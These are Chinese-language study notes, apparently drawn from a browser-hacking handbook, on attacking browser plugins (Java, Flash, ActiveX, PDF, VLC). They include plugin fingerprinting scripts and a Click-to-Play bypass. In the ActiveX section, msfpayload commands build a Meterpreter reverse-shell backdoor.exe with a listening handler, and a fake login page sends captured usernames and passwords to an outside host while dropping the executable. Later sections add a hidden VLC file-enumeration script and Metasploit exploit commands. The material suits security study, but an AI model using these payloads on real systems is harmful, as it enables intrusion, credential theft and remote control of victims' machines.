攻擊插件
插件接口將外部代碼或應用綁定到瀏覽器,從而利用這些第三方插件
理解插件
插件由兩部分組成:
- 瀏覽器API:控制瀏覽器與外部代碼的交互
- 腳本API:允許瀏覽器內部的代表插件的對象可以通過Web API操作
插件與擴展的區別
擴展:通過JavaScript和其他API利用已有的瀏覽器接口來增加功能,在多個頁面有效
插件:利用外部代碼,只有接收到特點文件格式才使用
- 文件通過<object>或<embed>標籤嵌入網頁
- Content-type引用一個MIME類型,表示瀏覽器如何處理這種文件
插件與標準程序的區別
插件與標準程序的區別在於,它們獨立地擴展瀏覽器功能。插件通常會與外部應用調用相同
的代碼。
調用插件
調用的兩種途徑:
- Web服務器交付的Content-type與相應的MIME類型匹配
- 示例
- 示例
- 通過<embed>或<object>標籤
- 示例
<object data="flashdemo.swf" type="application/x-shockwave-flash"> <param name="bhh" value="true"> //向Flash插件中傳入bhh參數 </object>
點擊播放(Click to Play)
Click to Play(點擊播放)是在運行插件之前請求用戶授權。
採集插件指紋
檢測插件
手動檢測
Firefox和Chrome會把安裝的插件放在一個DOM對象navigator.plugins中
因此簡單創建一個網頁,結合Mozilla參考信息輸出一個表格即可:
<HTML>
<BODY>
<SCRIPT>
var pluginLen = navigator.plugins.length;
document.write("<TABLE><TR><TH COLSPAN=4>");
document.write(
"Plugins Found: " + pluginLen.toString() + " </TH></TR>" +
"<TR><TH>Name</TH><TH>Filename</TH>" +
"<TH>Description</TH><TH>Version</TH></TR>\n"
);
//獲取navigator.plugins中的信息
for(var i = 0; i < pluginLen; i++) {
document.write(
"<TR><TD>"+
navigator.plugins[i].name +
"</TD><TD>" +
navigator.plugins[i].filename +
"</TD><TD>" +
navigator.plugins[i].description +
"</TD><TD>" +
navigator.plugins[i].version +
"</TD></TR>\n"
);
}
document.write("</TABLE>");
</SCRIPT>
</BODY>
</HTML>
可以進一步檢測navigator.mimeTypes這個DOM對象,獲取相應的插件是否返回MimeType對象,或者返回undefined。
- 檢測是否安裝Flash:
!!navigator.mimeTypes["application/x-shockwave-flash"]
在IE中,多數插件都在ActiveX控件中執行
檢測系統中是否安裝了某插件,可以嘗試實例化一個ActiveX對象並檢測實例化之後返回的是不是一個有效的對象。
flash_versions = 11;
flash_installed = false;
objname = "ShockwaveFlash.ShockwaveFlash.";
if (window.ActiveXObject) {
for (x = 2; x <= flash_versions; x++) {
try {
Flash = eval("new ActiveXObject('" + objname + x + "');");
if (Flash) {
flash_installed = true;
}
} catch (e) { }
}
}
自動檢測
PluginDetect
- 插件檢測框架
BeEF檢測
攻擊插件
繞過點擊播放
某些小型或隱藏插件的實例,可能不會請求用戶許可也能執行。
Firefox的示例
<html>
<head>
<style type='text/css'>
#overlay {
background-color: black;
position: absolute;
top: 0px;
left: 0px;
width: 550px;
height: 450px;
color: white;
text-align: center;
padding-top: 100px;
pointer-events: none; //阻止在黑色#overlay div上觸發任何鼠標事件
}
</style>
<body>
<div id="overlay">Click here</div>
<applet code="Foo.class" width="500" height="500"/>
</body>
</html>
Java示例
void initAppletAdapter(AppletExecutionRunnable
paramAppletExecutionRunnable)
throws ClassNotFoundException, IllegalAccessException,
ExitException, JRESelectException, IOException,
InstantiationException {
long l = DeployPerfUtil.put(0L,"Plugin2Manager.createApplet() - BEGIN");
/*
* 取得"code"和"object"小程序屬性的值
*/
String str1 = getSerializedObject();
String str2 = getCode();
[...snip...]
if ((str2 != null) && (str1 != null)) {
System.err.println(amh.getMessage("runloader.err"));
throw new InstantiationException("Either \"code\" or \"object\"" +" should be specified, but not both.");
}
if ((str2 == null) && (str1 == null))
return;
if (str2 != null) {
/*
* 通過"code"屬性正常加載小程序
* 觸發Ctp pop=up,等待用戶介入
*/
if (fireAppletSSVValidation()) {
appletSSVRelaunch();
}
[...snip...]
} else { //如果沒有使用code屬性,Java假設你會使用object屬性,也就是加載序列化後的小程序。這時候,不會觸發點擊播放機制
if (!this.isSecureVM)
return;
// 通過"object"屬性加載serialized小程序
this.adapter.instantiateSerialApplet(localPlugin2ClassLoader, str1);
this.doInit = false;
DeployPerfUtil.put("Plugin2Manager.createApplet()" +" - post: secureVM .. serialized .. ");
}
[...snip...]
DeployPerfUtil.put(l, "Plugin2Manager.initAppletAdapter() - END");
}
利用:
<embed object="object.ser" type="application/x-java-applet;version=1.6">
攻擊Java
Java小程序
- 簽名小程序:可以在沙箱外部執行代碼
- 未簽名小程序:在沙箱內執行代碼,默認會屏蔽代碼訪問文件系統以及執行操作系統命令
檢測Java
使用System.getProperty方法獲取Java版本或廠商:
import java.applet.*;
import java.awt.*;
public class JVersion extends Applet{
public JVersion() {
super();
return;
}
public static String execute() {
return (" Java Version: " + System.getProperty("java.version")+" by "+System.getProperty("java.vendor"));
}
}
調用上面代碼的HTML及JavaScript代碼:
<object id='JVersion' name='JVersion'>
<param name='code' value='JVersion.class' />
<param name='codebase' value='null' />
<param name='archive' value='http://browserhacker.com/JVersion.jar' />
</object>
<script>
document.write(document.JVersion.execute());
</script>
破解Java小程序
- Java反編譯器:JD-GUI
繞過Java沙箱
- CVE-2013-0422
利用Java
- CVE-2013-2423
- Metasoloit模塊:java_jre17_driver_manager
攻擊Flash
共享對象
支持從數據存儲中本地或遠程檢索數據。共享對象最常見的用途就是Flash的cookie。
- 共享對象數據並不經常清除
- 共享對象信息
- Mac:Library/Preferences/Macromedia/Flash Player/#SharedObjects/
- Windows:C:\Documents and Settings\ [username]\Application Data\Macromedia\Flash Player
ActionScript
ActionScript是一個開源的腳本語言,Adobe Flash和Apache Flex都在使用。
Flash的設計初衷是增強網頁功能,因此通常很少需要與操作系統直接交互。
ActionScript則可以發送網絡和Web請求,訪問某些外圍設備,以及向用戶發送流媒體。
- 轉碼工具:SWFScan
利用攝像頭和麥克風
- 查看攝像頭是否開啓:查詢Camera類的name屬性
- 查看麥克風:Microphone類和NetStream類
Flash模糊測試
- 開源工具:Radamsa
攻擊ActiveX插件
ActiveX是爲IE設計的,但有插件可以使Chrome和Firefox在不打開IE窗口的前提下運行ActiveX。
- 示例
- Metasploit
- 生成payload:
msfpayload windows/meterpreter/reverse_tcp LHOST=攻擊者地址 LPORT=8675 R | msfencode -c 3 -t exe > backdoor.exe
- 啓動Metasploit的msfconsole,允許payload連接
- 啓動multi/handler
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 攻擊者地址
set LPORT 8675
set ExitOnSession false
exploit -j
- 構建虛假界面
<html> <body> <script> function submitData() { var x = document.getElementById("sploit"); var url = "http://browserhacker.com/capture.rb?un=" + x.elements[0].value + "&pw=" + x.elements[1].value; document.getElementById('t1').background=url; } </script> <div align=center> <form id="sploit" > <table id='t1' border=0 background=""> <tr><th colspan=2>BrowserVictim.com Chat System<BR> Please Log in with your ActiveDirectory Credentials</th></tr> <tr><th>Username:</th><td><input type=text name="user"></td></tr> <tr><th>Password:</th><td><input type=password name="pass" onBlur="submitData()"></th></tr> <tr><th colspan=2> <object classid='clsid:C28A127E-4A85-11D3-A5FF-00A0249E352D' id='target'></object> </tr></td> </form> <BR> </div> <script language='vbscript'> document.getElementById("target").fileName = "Z:\\backdoor.exe" </script> </body> </html>
- 生成payload:
- Metasploit
攻擊PDF閱讀器
PDF中使用JavaScript
- UXSS
UXSS漏洞允許用戶向PDF中傳入參數,然後文檔中的JavaScript可以處理這些參數。
http://browserhacker.com/test.pdf#PDF=javascript:alert('xss')
- 啓動另一個瀏覽器
PDF可以啓動瀏覽器並請求特定的URL,app.launchURL方法可以讓操作系統啓動默認瀏覽器。
app.launchURL("http://browserhacker.com:3000/demos/report.html",true);
攻擊媒體插件
通過VLC掃描資源
給VLC ActiveX插件添加一個播放列表項並嘗試播放它,會得到位於播放列表中的文件是否有效的反饋。
<object style="visibility:hidden" classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921" width="0" height="0" id="vlc"></object>
<script>
vlc.playlist.clear();
vlc.playlist.add(items[i]);
vlc.playlist.playItem(0);
vlc.attachEvent("MediaPlayerPlaying", onFound);
vlc.attachEvent("MediaPlayerEncounteredError", onNotFound);
</script>
枚舉items數組中定義的資源:
try {
var result = "";
var i = 0;
// 創建div來附加上VLC對象
var newdiv = document.createElement('div');
var divIdName = 'temp_div';
newdiv.setAttribute('id',divIdName);
newdiv.style.width = "0";
newdiv.style.height = "0";
newdiv.style.visibility = "hidden";
document.body.appendChild(newdiv);
// 創建對象
document.getElementById("temp_div").innerHTML = "<object style=\"visibility:hidden\"" + " classid=\"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921\"" + " width=\"0\" height=\"0\" id=\"vlc\"></object>";
var items = [
"C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.20125.0",
"C:\\Program Files (x86)\\Sophos\\Sophos Anti-Virus",
"C:\\Users\\wade",
"C:\\Users\\morru"
]
function onFound(event){
result += items[i] + "\n";
i++;
console.log("Found");
next();
}
function onNotFound(event){
i++;
console.log("Not Found");
next();
}
function next(){
if (i >= items.length){
vlc.playlist.stop();
// 將結果返回框架
console.log("Discovered resources:\n" + result);
// 清除
var rmdiv = document.getElementById("temp_div");
document.body.removeChild(rmdiv);
return;
}
vlc.playlist.clear();
vlc.playlist.add("file:///" + items[i]);
console.log("Adding item " + items[i] + " to playlist.");
vlc.playlist.playItem(0);
}
vlc.attachEvent("MediaPlayerPlaying", onFound);
vlc.attachEvent("MediaPlayerEncounteredError", onNotFound);
next();
} catch(e) {}
利用媒體播放器
- VLC MMS Stream Handling Buffer Overflow
漏洞通過IE及惡意URL啓動VLC,然後VLC處理該URL,於是就會導致SEH重寫,最終執行payload代碼。 - 在Metasploit的msfconsole中啓動這個惡意URL
use exploit/windows/browser/vlc_mms_bof
set URIPATH /vlc
set payload windows/meterpreter/reverse_tcp
set LHOST 攻擊者地址
set LPORT 8675
exploit
參考文獻
《黑客攻防技術寶典——瀏覽器》